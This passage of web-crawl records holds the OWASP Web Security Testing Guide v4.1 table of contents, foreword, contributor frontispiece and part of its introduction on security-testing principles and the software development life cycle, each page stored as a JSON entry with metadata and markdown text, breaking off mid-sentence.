"https://github.com/gregmalcolm/wacky-wandas-wicked-weapons-frontend/blob/fix-it/README.md", "http://user-agent-string.info/list-of-ua", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Table of Contents"}, {"uroven": 2, "text": "0. Foreword by Eoin Keary"}, {"uroven": 2, "text": "1. Frontispiece"}, {"uroven": 2, "text": "2. Introduction"}, {"uroven": 2, "text": "3. The OWASP Testing Framework"}, {"uroven": 2, "text": "4. Web Application Security Testing"}, {"uroven": 2, "text": "5. Reporting"}, {"uroven": 2, "text": "Appendix A. Testing Tools Resource"}, {"uroven": 2, "text": "Appendix B. Suggested Reading"}, {"uroven": 2, "text": "Appendix C. Fuzz Vectors"}, {"uroven": 2, "text": "Appendix D. Encoded Injection"}, {"uroven": 2, "text": "Appendix E. History"}], "markdown": "# WSTG - v4.1\n\n# Table of Contents\n\nUse the **WSTG Contents** menu on the right to browse sections and tests. Chapter landing pages are linked below.\n\n## [0. Foreword by Eoin Keary](/www-project-web-security-testing-guide/v41/0-Foreword/README)\n\n## [1. Frontispiece](1-Frontispiece/)\n\n## [2. Introduction](2-Introduction/)\n\n## [3. The OWASP Testing Framework](3-The_OWASP_Testing_Framework/)\n\n## [4. Web Application Security Testing](4-Web_Application_Security_Testing/)\n\n## [5. Reporting](/www-project-web-security-testing-guide/v41/5-Reporting/README)\n\n## [Appendix A. Testing Tools Resource](/www-project-web-security-testing-guide/v41/6-Appendix/A-Testing_Tools_Resource)\n\n## [Appendix B. Suggested Reading](/www-project-web-security-testing-guide/v41/6-Appendix/B-Suggested_Reading)\n\n## [Appendix C. Fuzz Vectors](/www-project-web-security-testing-guide/v41/6-Appendix/C-Fuzz_Vectors)\n\n## [Appendix D. Encoded Injection](/www-project-web-security-testing-guide/v41/6-Appendix/D-Encoded_Injection)\n\n## [Appendix E. History](/www-project-web-security-testing-guide/v41/6-Appendix/E-History)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 1141, "slov": 118, "odkazu": 179, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:08:18", "sha256": "93e2cef4fe151d8e93e5176bc7d9e299c6a0e22f6413af4c516829f7028ac57f", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/0-Foreword/README", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/0-Foreword/README", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/0-Foreword/README", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Foreword by Eoin Keary"}, {"uroven": 2, "text": "Why OWASP?"}, {"uroven": 2, "text": "Tailoring and Prioritizing"}, {"uroven": 2, "text": "The Role of Automated Tools"}, {"uroven": 2, "text": "Call to Action"}], "markdown": "# WSTG - v4.1\n\n# Foreword by Eoin Keary\n\nThe problem of insecure software is perhaps the most important technical challenge of our time. The dramatic rise of web applications enabling business, social networking etc has only compounded the requirements to establish a robust approach to writing and securing our Internet, Web Applications and Data.\n\nAt The Open Web Application Security Project (OWASP), we’re trying to make the world a place where insecure software is the anomaly, not the norm. The OWASP Testing Guide has an important role to play in solving this serious issue. It is vitally important that our approach to testing software for security issues is based on the principles of engineering and science. We need a consistent, repeatable and defined approach to testing web applications. A world without some minimal standards in terms of engineering and technology is a world in chaos.\n\nIt goes without saying that you can’t build a secure application without performing security testing on it. Testing is part of a wider approach to building a secure system. Many software development organizations do not include security testing as part of their standard software development process. What is even worse is that many security vendors deliver testing with varying degrees of quality and rigor.\n\nSecurity testing, by itself, isn’t a particularly good stand alone measure of how secure an application is, because there are an infinite number of ways that an attacker might be able to make an application break, and it simply isn’t possible to test them all. We can’t hack ourselves secure and we only have a limited time to test and defend where an attacker does not have such constraints.\n\nIn conjunction with other OWASP projects such as the Code Review Guide, the Development Guide and tools such as [OWASP ZAP](https://www.zaproxy.org/), this is a great start towards building and maintaining secure applications. This Testing Guide will show you how to verify the security of your running application. I highly recommend using these guides as part of your application security initiatives.\n\n## Why OWASP?\n\nCreating a guide like this is a huge undertaking, requiring the expertise of hundreds of people around the world. There are many different ways to test for security flaws and this guide captures the consensus of the leading experts on how to perform this testing quickly, accurately, and efficiently. OWASP gives like minded security folks the ability to work together and form a leading practice approach to a security problem.\n\nThe importance of having this guide available in a completely free and open way is important for the foundations mission. It gives anyone the ability to understand the techniques used to test for common security issues. Security should not be a black art or closed secret that only a few can practice. It should be open to all and not exclusive to security practitioners but also QA, Developers and Technical Managers. The project to build this guide keeps this expertise in the hands of the people who need it - you, me and anyone that is involved in building software.\n\nThis guide must make its way into the hands of developers and software testers. There are not nearly enough application security experts in the world to make any significant dent in the overall problem. The initial responsibility for application security must fall on the shoulders of the developers, they write the code. It shouldn’t be a surprise that developers aren’t producing secure code if they’re not testing for it or consider the types of bugs which introduce vulnerability.\n\nKeeping this information up to date is a critical aspect of this guide project. By adopting the wiki approach, the OWASP community can evolve and expand the information in this guide to keep pace with the fast moving application security threat landscape.\n\nThis Guide is a great testament to the passion and energy our members and project volunteers have for this subject. It shall certainly help change the world a line of code at a time.\n\n## Tailoring and Prioritizing\n\nYou should adopt this guide in your organization. You may need to tailor the information to match your organization’s technologies, processes, and organizational structure.\n\nIn general there are several different roles within organizations that may use this guide:\n\n- Developers should use this guide to ensure that they are producing secure code. These tests should be a part of normal code and unit testing procedures.\n- Software testers and QA should use this guide to expand the set of test cases they apply to applications. Catching these vulnerabilities early saves considerable time and effort later.\n- Security specialists should use this guide in combination with other techniques as one way to verify that no security holes have been missed in an application.\n- Project Managers should consider the reason this guide exists and that security issues are manifested via bugs in code and design.\n\nThe most important thing to remember when performing security testing is to continuously re-prioritize. There are an infinite number of possible ways that an application could fail, and organizations always have limited testing time and resources. Be sure time and resources are spent wisely. Try to focus on the security holes that are a real risk to your business. Try to contextualize risk in terms of the application and its use cases.\n\nThis guide is best viewed as a set of techniques that you can use to find different types of security holes. But not all the techniques are equally important. Try to avoid using the guide as a checklist, new vulnerabilities are always manifesting and no guide can be an exhaustive list of “things to test for”, but rather a great place to start.\n\n## The Role of Automated Tools\n\nThere are a number of companies selling automated security analysis and testing tools. Remember the limitations of these tools so that you can use them for what they’re good at. As Michael Howard put it at the 2006 OWASP AppSec Conference in Seattle, “Tools do not make software secure! They help scale the process and help enforce policy.”\n\nMost importantly, these tools are generic - meaning that they are not designed for your custom code, but for applications in general. That means that while they can find some generic problems, they do not have enough knowledge of your application to allow them to detect most flaws. In my experience, the most serious security issues are the ones that are not generic, but deeply intertwined in your business logic and custom application design.\n\nThese tools can also be seductive, since they do find lots of potential issues. While running the tools doesn’t take much time, each one of the potential problems takes time to investigate and verify. If the goal is to find and eliminate the most serious flaws as quickly as possible, consider whether your time is best spent with automated tools or with the techniques described in this guide. Still, these tools are certainly part of a well-balanced application security program. Used wisely, they can support your overall processes to produce more secure code.\n\n## Call to Action\n\nIf you’re building, designing or testing software, I strongly encourage you to get familiar with the security testing guidance in this document. It is a great road map for testing the most common issues facing applications today, but it is not exhaustive. If you find errors, please add a note to the discussion page or make the change yourself. You’ll be helping thousands of others who use this guide.\n\nPlease consider [joining us](https://owasp.org/membership/) as an individual or corporate member so that we can continue to produce materials like this testing guide and all the other great projects at OWASP.\n\nThank you to all the past and future contributors to this guide, your work will help to make applications worldwide more secure.\n\n–Eoin Keary, OWASP Board Member, April 19, 2013\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 8019, "slov": 1304, "odkazu": 177, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:42:31", "sha256": "ed6f98a7c406ec36ba09cfc753efa6a09c2f8e9b80fa7e528ae65dc3bdafc1d3", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.zaproxy.org/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/1-Frontispiece/", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/1-Frontispiece/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/1-Frontispiece/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Frontispiece"}, {"uroven": 2, "text": "Welcome"}, {"uroven": 2, "text": "Version 4.1"}, {"uroven": 2, "text": "Copyright and Licensee"}, {"uroven": 2, "text": "Leaders"}, {"uroven": 2, "text": "Core Team"}, {"uroven": 2, "text": "Authors"}, {"uroven": 2, "text": "Graphic Designers"}, {"uroven": 2, "text": "Reviewers or Editors"}, {"uroven": 2, "text": "Trademarks"}, {"uroven": 2, "text": "Contacting OWASP"}, {"uroven": 3, "text": "Follow Us"}], "markdown": "# WSTG - v4.1\n\n# Frontispiece\n\n## Welcome\n\n> Open and collaborative knowledge: that is the OWASP way.\n> \n> With V4 we realized a new guide that will be the standard de-facto guide to perform Web Application Penetration Testing.\n> \n> — Matteo Meucci\n\nOWASP thanks the many authors, reviewers, and editors for their hard work in bringing this guide to where it is today. If you have any comments or suggestions on the Testing Guide, please feel free to open an Issue or submit a fix/contribution via Pull Request to our [GitHub repo](https://github.com/OWASP/wstg/).\n\n## Version 4.1\n\nThis minor release represents a transitional step between the 2014 release of v4 via the OWASP wiki, and the preparation of v5, currently underway on GitHub.\n\n## Copyright and Licensee\n\nCopyright (c) 2020 The OWASP Foundation.\n\nThis document is released under the [Creative Commons 4.0 License](https://creativecommons.org/licenses/by-sa/4.0/). Please read and understand the license and copyright conditions.\n\n## Leaders\n\n- Elie Saad\n- Matteo Meucci\n- Rick Mitchell\n\n## Core Team\n\n- Rejah Rehim\n- Victoria Drake\n\n## Authors\n\n- Elie Saad\n- Janos Zold\n- Jeremy Bonghwan Choi\n- Joel Espunya\n- Manh Pham Tien\n- Mark Clayton\n- Rick Mitchell\n- Rubal Jain\n- Tal Argoni\n- Victoria Drake\n\n## Graphic Designers\n\n- Hugo Costa\n- Jishnu Vijayan C K\n- Muhammed Anees\n\n## Reviewers or Editors\n\n- Asharaf Ali\n- Elie Saad\n- Jeremy Bonghwan Choi\n- Lukasz Lubczynski\n- Patrick Santos\n- Rejah Rehim\n- Rick Mitchell\n- Roman Mueller\n- Tom Bowyer\n- Victoria Drake\n\n## Trademarks\n\n- Java, Java Web Server, and JSP are registered trademarks of Sun Microsystems, Inc.\n- Merriam-Webster is a trademark of Merriam-Webster, Inc.\n- Microsoft is a registered trademark of Microsoft Corporation.\n- Octave is a service mark of Carnegie Mellon University.\n- OWASP is a registered trademark of the OWASP Foundation\n- VeriSign and Thawte are registered trademarks of VeriSign, Inc.\n- Visa is a registered trademark of VISA USA.\n\nAll other products and company names may be trademarks of their respective owners. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.\n\n## Contacting OWASP\n\nContact details for the [OWASP Foundation](https://owasp.org/) are available [online](https://owasp.org/contact/). If you have a question concerning a particular project, we strongly recommend using the [Google Group](https://groups.google.com/a/owasp.org/forum/) for that project. Many questions can also be answered by searching the [OWASP](https://owasp.org/) web site, so please check there first.\n\n### Follow Us\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 2610, "slov": 365, "odkazu": 179, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:42:32", "sha256": "cddf66e989f349fe9257a0f54ded133eb6dda119e84071e477101351e593006c", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/", "https://creativecommons.org/licenses/by-sa/4.0/", "https://groups.google.com/a/owasp.org/forum/", "https://www.linkedin.com/company/owasp/", "https://twitter.com/owasp_wstg", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/2-Introduction/", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/2-Introduction/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/2-Introduction/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Introduction"}, {"uroven": 2, "text": "The OWASP Testing Project"}, {"uroven": 3, "text": "Measuring Security: the Economics of Insecure Software"}, {"uroven": 3, "text": "What is Testing?"}, {"uroven": 3, "text": "Why Perform Testing?"}, {"uroven": 3, "text": "When to Test?"}, {"uroven": 3, "text": "What to Test?"}, {"uroven": 3, "text": "Feedback and Comments"}, {"uroven": 2, "text": "Principles of Testing"}, {"uroven": 3, "text": "There is No Silver Bullet"}, {"uroven": 3, "text": "Think Strategically, Not Tactically"}, {"uroven": 3, "text": "The SDLC is King"}, {"uroven": 3, "text": "Test Early and Test Often"}, {"uroven": 3, "text": "Understand the Scope of Security"}, {"uroven": 3, "text": "Develop the Right Mindset"}, {"uroven": 3, "text": "Understand the Subject"}, {"uroven": 3, "text": "Use the Right Tools"}, {"uroven": 3, "text": "The Devil is in the Details"}, {"uroven": 3, "text": "Use Source Code When Available"}, {"uroven": 3, "text": "Develop Metrics"}, {"uroven": 3, "text": "Document the Test Results"}, {"uroven": 2, "text": "Testing Techniques Explained"}, {"uroven": 2, "text": "Manual Inspections and Reviews"}, {"uroven": 3, "text": "Overview"}, {"uroven": 3, "text": "Advantages"}, {"uroven": 3, "text": "Disadvantages"}, {"uroven": 2, "text": "Threat Modeling"}, {"uroven": 3, "text": "Overview"}, {"uroven": 3, "text": "Advantages"}, {"uroven": 3, "text": "Disadvantages"}, {"uroven": 2, "text": "Source Code Review"}, {"uroven": 3, "text": "Overview"}, {"uroven": 3, "text": "Advantages"}, {"uroven": 3, "text": "Disadvantages"}, {"uroven": 2, "text": "Penetration Testing"}, {"uroven": 3, "text": "Overview"}, {"uroven": 3, "text": "Advantages"}, {"uroven": 3, "text": "Disadvantages"}, {"uroven": 2, "text": "The Need for a Balanced Approach"}, {"uroven": 3, "text": "A Note about Web Application Scanners"}, {"uroven": 3, "text": "Example 1: Magic Parameters"}, {"uroven": 3, "text": "Example 2: Bad Cryptography"}, {"uroven": 3, "text": "A Note about Static Source Code Review Tools"}, {"uroven": 2, "text": "Deriving Security Test Requirements"}, {"uroven": 3, "text": "Testing Objectives"}, {"uroven": 3, "text": "Security Requirements Documentation"}, {"uroven": 3, "text": "Security Requirements Validation"}, {"uroven": 3, "text": "Threats and Countermeasures Taxonomies"}, {"uroven": 3, "text": "Security Testing and Risk Analysis"}, {"uroven": 3, "text": "Deriving Functional and Non-Functional Test Requirements"}, {"uroven": 4, "text": "Functional Security Requirements"}, {"uroven": 4, "text": "Risk-Driven Security Requirements"}, {"uroven": 3, "text": "Deriving Security Test Requirements Through Use and Misuse Cases"}, {"uroven": 4, "text": "Step 1: Describe the Functional Scenario"}, {"uroven": 4, "text": "Step 2: Describe the Negative Scenario"}, {"uroven": 4, "text": "Step 3: Describe Functional and Negative Scenarios With Use and Misuse Case"}, {"uroven": 4, "text": "Step 4: Elicit The Security Requirements"}, {"uroven": 2, "text": "Security Tests Integrated in Development and Testing Workflows"}, {"uroven": 3, "text": "Security Testing in the Development Workflow"}, {"uroven": 3, "text": "Security Testing in the Test Workflow"}, {"uroven": 3, "text": "Developer’s Security Tests"}, {"uroven": 4, "text": "Security Testing in the Coding Phase: Unit Tests"}, {"uroven": 3, "text": "Functional Testers’ Security Tests"}, {"uroven": 4, "text": "Security Testing During the Integration and Validation Phase: Integrated System Tests and Operation Tests"}, {"uroven": 2, "text": "Security Test Data Analysis and Reporting"}, {"uroven": 3, "text": "Goals for Security Test Metrics and Measurements"}, {"uroven": 3, "text": "Reporting Requirements"}, {"uroven": 3, "text": "Business Cases"}], "markdown": "# WSTG - v4.1\n\n# Introduction\n\n## The OWASP Testing Project\n\nThe OWASP Testing Project has been in development for many years. The aim of the project is to help people understand the *what*, *why*, *when*, *where*, and *how* of testing web applications. The project has delivered a complete testing framework, not merely a simple checklist or prescription of issues that should be addressed. Readers can use this framework as a template to build their own testing programs or to qualify other people’s processes. The Testing Guide describes in detail both the general testing framework and the techniques required to implement the framework in practice.\n\nWriting the Testing Guide has proven to be a difficult task. It was a challenge to obtain consensus and develop content that allowed people to apply the concepts described in the guide, while also enabling them to work in their own environment and culture. It was also a challenge to change the focus of web application testing from penetration testing to testing integrated in the software development life cycle.\n\nHowever, the group is very satisfied with the results of the project. Many industry experts and security professionals, some of whom are responsible for software security at some of the largest companies in the world, are validating the testing framework. This framework helps organizations test their web applications in order to build reliable and secure software. The framework does not simply highlight areas of weakness, although the latter is certainly a by-product of many of the OWASP guides and checklists. As such, hard decisions had to be made about the appropriateness of certain testing techniques and technologies. The group fully understands that not everyone will agree upon all of these decisions. However, OWASP is able to take the high ground and change culture over time through awareness and education based on consensus and experience.\n\nThe rest of this guide is organized as follows: this introduction covers the pre-requisites of testing web applications and the scope of testing. It also covers the principles of successful testing and testing techniques, best practices for reporting, and business cases for security testing. Chapter 3 presents the OWASP Testing Framework and explains its techniques and tasks in relation to the various phases of the software development life cycle. Chapter 4 covers how to test for specific vulnerabilities (e.g., SQL Injection) by code inspection and penetration testing.\n\n### Measuring Security: the Economics of Insecure Software\n\nA basic tenet of software engineering is summed up in a quote from [Controlling Software Projects: Management, Measurement, and Estimates](https://isbnsearch.org/isbn/9780131717114) by [Tom DeMarco](https://en.wikiquote.org/wiki/Tom_DeMarco):\n\n> You can’t control what you can’t measure.\n\nSecurity testing is no different. Unfortunately, measuring security is a notoriously difficult process.\n\nOne aspect that should be emphasized is that security measurements are about both the specific technical issues (e.g., how prevalent a certain vulnerability is) and how these issues affect the economics of software. Most technical people will at least understand the basic issues, or they may have a deeper understanding of the vulnerabilities. Sadly, few are able to translate that technical knowledge into monetary terms and quantify the potential cost of vulnerabilities to the application owner’s business. Until this happens, CIOs will not be able to develop an accurate return on security investment and, subsequently, assign appropriate budgets for software security.\nWhile estimating the cost of insecure software may appear a daunting task, there has been a significant amount of work in this direction. For example, in June 2002, the US National Institute of Standards (NIST) published a [survey on the cost of insecure software to the US economy due to inadequate software testing](https://www.nist.gov/director/planning/upload/report02-3.pdf). Interestingly, they estimate that a better testing infrastructure would save more than a third of these costs, or about $22 billion a year. More recently, the links between economics and security have been studied by academic researchers. [Ross Andrerson’s page](https://www.cl.cam.ac.uk/~rja14/econsec.html) on economics and security has more information about some of these efforts.\n\nThe framework described in this document encourages people to measure security throughout the entire development process. They can then relate the cost of insecure software to the impact it has on the business, and consequently develop appropriate business processes and assign resources to manage the risk. Remember that measuring and testing web applications is even more critical than for other software, since web applications are exposed to millions of users through the Internet.\n\n### What is Testing?\n\nMany things need to be tested during the development life cycle of a web application, but what does testing actually mean? The Oxford Dictionary of English defines “test” as:\n\n> **test** (noun): a procedure intended to establish the quality, performance, or reliability of something, especially before it is taken into widespread use.\n\nFor the purposes of this document, testing is a process of comparing the state of a system or application against a set of criteria. In the security industry, people frequently test against a set of mental criteria that are neither well defined nor complete. As a result of this, many outsiders regard security testing as a black art. The aim of this document is to change that perception, and to make it easier for people without in-depth security knowledge to make a difference in testing.\n\n### Why Perform Testing?\n\nThis document is designed to help organizations understand what comprises a testing program, and to help them identify the steps that need to be undertaken to build and operate a testing program on web applications. The guide gives a broad view of the elements required to make a comprehensive web application security program. This guide can be used as a reference guide and as a methodology to help determine the gap between existing practices and industry best practices. This guide allows organizations to compare themselves against industry peers, to understand the magnitude of resources required to test and maintain software, or to prepare for an audit. This chapter does not go into the technical details of how to test an application, as the intent is to provide a typical security organizational framework. The technical details about how to test an application, as part of a penetration test or code review, will be covered in the remaining parts of this document.\n\n### When to Test?\n\nMost people today don’t test software until it has already been created and is in the deployment phase of its life cycle (i.e., code has been created and instantiated into a working web application). This is generally a very ineffective and cost-prohibitive practice. One of the best methods to prevent security bugs from appearing in production applications is to improve the Software Development Life Cycle (SDLC) by including security in each of its phases. An SDLC is a structure imposed on the development of software artifacts. If an SDLC is not currently being used in your environment, it is time to pick one! The following figure shows a generic SDLC model as well as the (estimated) increasing cost of fixing security bugs in such a model.\n\n*Figure 2-1: Generic SDLC Model*\n\nCompanies should inspect their overall SDLC to ensure that security is an integral part of the development process. SDLCs should include security tests to ensure security is adequately covered and controls are effective throughout the development process.\n\n### What to Test?\n\nIt can be helpful to think of software development as a combination of people, process, and technology. If these are the factors that “create” software, then it is logical that these are the factors that must be tested. Today most people generally test the technology or the software itself.\n\nAn effective testing program should have components that test the following:\n\n**People** – to ensure that there is adequate education and awareness;\n\n**Process** – to ensure that there are adequate policies and standards and that people know how to follow these policies;\n\n**Technology** – to ensure that the process has been effective in its implementation.\n\nUnless a holistic approach is adopted, testing just the technical implementation of an application will not uncover management or operational vulnerabilities that could be present. By testing the people, policies, and processes, an organization can catch issues that would later manifest themselves into defects in the technology, thus eradicating bugs early and identifying the root causes of defects. Likewise, testing only some of the technical issues that can be present in a system will result in an incomplete and inaccurate security posture assessment.\n\nDenis Verdon, Head of Information Security at [Fidelity National Financial](https://www.fnf.com), presented an excellent analogy for this misconception at the OWASP AppSec 2004 Conference in New York:\n\n> If cars were built like applications … safety tests would assume frontal impact only. Cars would not be roll tested, or tested for stability in emergency maneuvers, brake effectiveness, side impact, and resistance to theft.\n\n### Feedback and Comments\n\nAs with all OWASP projects, we welcome comments and feedback. We especially like to know that our work is being used and that it is effective and accurate.\n\n## Principles of Testing\n\nThere are some common misconceptions when developing a testing methodology to find security bugs in software. This chapter covers some of the basic principles that professionals should take into account when performing security tests on software.\n\n### There is No Silver Bullet\n\nWhile it is tempting to think that a security scanner or application firewall will provide many defenses against attack or identify a multitude of problems, in reality there is no silver bullet to the problem of insecure software. Application security assessment software, while useful as a first pass to find low-hanging fruit, is generally immature and ineffective at in-depth assessments or providing adequate test coverage. Remember that security is a process and not a product.\n\n### Think Strategically, Not Tactically\n\nSecurity professionals have come to realize the fallacy of the patch-and-penetrate model that was pervasive in information security during the 1990’s. The patch-and-penetrate model involves fixing a reported bug, but without proper investigation of the root cause. This model is usually associated with the window of vulnerability, also referred to as window of exposure, shown in the figure below. The evolution of vulnerabilities in common software used worldwide has shown the ineffectiveness of this model. For more information about windows of exposure, see [Schneier on Security](https://www.schneier.com/crypto-gram/archives/2000/0915.html).\n\nVulnerability studies such as [Symantec’s Internet Security Threat Report](https://www.symantec.com/security-center/threat-report) have shown that with the reaction time of attackers worldwide, the typical window of vulnerability does not provide enough time for patch installation, since the time between a vulnerability being uncovered and an automated attack against it being developed and released is decreasing every year.\n\nThere are several incorrect assumptions in the patch-and-penetrate model. Many users believe that patches interfere with normal operations or might break existing applications. It is also incorrect to assume that all users are aware of newly released patches. Consequently not all users of a product will apply patches, either because they think patching may interfere with how the software works, or because they lack knowledge about the existence of the patch.\n\n*Figure 2-2: Window of Vulnerability*\n\nIt is essential to build security into the Software Development Life Cycle (SDLC) to prevent reoccurring security problems within an application. Developers can build security into the SDLC by developing standards, policies, and guidelines that fit and work within the development methodology. Threat modeling and other techniques should be used to help assign appropriate resources to those parts of a system that are most at risk.\n\n### The SDLC is King\n\nThe SDLC is a process that is well-known to developers. By integrating security into each phase of the SDLC, it allows for a holistic approach to application security that leverages the procedures already in place within the organization. Be aware that while the names of the various phases may change depending on the SDLC model used by an organization, each conceptual phase of the archetype SDLC will be used to develop the application (i.e., define, design, develop, deploy, maintain). Each phase has security considerations that should become part of the existing process, to ensure a cost-effective and comprehensive security program.\n\nThere are several secure SDLC frameworks in existence that provide both descriptive and prescriptive advice. Whether a person takes descriptive or prescriptive advice depends on the maturity of the SDLC process. Essentially, prescriptive advice shows how the secure SDLC should work, and descriptive advice shows how it is used in the real world. Both have their place. For example, if you don’t know where to start, a prescriptive framework can provide a menu of potential security controls that can be applied within the SDLC. Descriptive advice can then help drive the decision process by presenting what has worked well for other organizations. Descriptive secure SDLCs include BSIMM-V; and the prescriptive secure SDLCs include OWASP’s [Open Software Assurance Maturity Model](https://www.opensamm.org/) (OpenSAMM) and ISO/IEC 27034 Parts 1-8, parts of which are still in development.\n\n### Test Early and Test Often\n\nWhen a bug is detected early within the SDLC it can be addressed faster and at a lower cost. A security bug is no different from a functional or performance-based bug in this regard. A key step in making this possible is to educate the development and QA teams about common security issues and the ways to detect and prevent them. Although new libraries, tools, or languages can help design programs with fewer security bugs, new threats arise constantly and developers must be aware of the threats that affect the software they are developing. Education in security testing also helps developers acquire the appropriate mindset to test an application from an attacker’s perspective. This allows each organization to consider security issues as part of their existing responsibilities.\n\n### Understand the Scope of Security\n\nIt is important to know how much security a given project will require. The assets that are to be protected should be given a classification that states how they are to be handled (e.g., confidential, secret, top secret). Discussions should occur with legal council to ensure that any specific security requirements will be met. In the USA, requirements might come from federal regulations, such as the [Gramm-Leach-Bliley Act](https://www.ftc.gov/tips-advice/business-center/privacy-and-security/gramm-leach-bliley-act), or from state laws, such as the [California SB-1386](https://leginfo.legislature.ca.gov/faces/billTextClient.xhtml?bill_id=200120020SB1386). For organizations based in EU countries, both country-specific regulation and EU Directives may apply. For example, [Directive 96/46/EC4](https://ec.europa.eu/info/policies/justice-and-fundamental-rights_en) makes it mandatory to treat personal data in applications with due care, whatever the application.\n\n### Develop the Right Mindset\n\nSuccessfully testing an application for security vulnerabilities requires thinking “outside of the box.” Normal use cases will test the normal behavior of the application when a user is using it in the manner that is expected. Good security testing requires going beyond what is expected and thinking like an attacker who is trying to break the application. Creative thinking can help to determine what unexpected data may cause an application to fail in an insecure manner. It can also help find any assumptions made by web developers that are not always true, and how those assumptions can be subverted. One reason that automated tools do a poor job of testing for vulnerabilities is that automated tools do not think creatively. Creative thinking must be done on a case-by-case basis, as most web applications are being developed in a unique way (even when using common frameworks).\n\n### Understand the Subject\n\nOne of the first major initiatives in any good security program should be to require accurate documentation of the application. The architecture, 